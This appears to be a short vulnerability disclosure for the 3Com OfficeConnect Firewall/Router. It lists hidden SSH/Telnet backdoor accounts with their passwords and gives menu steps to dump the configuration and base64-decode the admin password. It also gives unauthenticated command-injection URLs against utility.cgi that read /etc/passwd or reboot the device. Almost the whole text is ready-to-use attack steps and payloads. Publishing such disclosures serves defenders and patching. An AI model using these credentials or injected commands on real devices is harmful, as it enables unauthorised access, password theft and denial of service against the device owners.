3Com OfficeConnect Command Execution

`**************************************************************  
Product: 3Com OfficeConnect Firewall/Router  
Website: http://www.3com.com/  
Discovered By: Andrea Fabrizi  
Email: [email protected]  
Web: http://www.andreafabrizi.it  
Vuln: remote command execution and password disclosure  
**************************************************************  
  
####### Admin password disclosure #######  
  
1) SSH/Telnet to router using one of these hidden accounts:  
support:support  
user:5  
nobody:admin  
2) Type 9  
3) Type 1  
3) Type 3 to dump the configuration  
4) Locate the sysPassword field:  
<sysPassword value="cXdlcnR5Cg=="/>  
5) Decode the admin password:  
roland@hp6720s:~$ echo -ne "cXdlcnR5Cg==" | base64 -d  
qwerty  
  
  
####### Remote command execution #######  
  
http://1.2.3.4/utility.cgi?testType=1&IP=aaa || cat /etc/passwd  
  
To see the command output you need to log into the router, however the  
command is executed even the user is not logged in, so if you don't  
have access to the device a DOS is also possible:  
  
http://1.2.3.4/utility.cgi?testType=1&IP=aaa || reboot  
`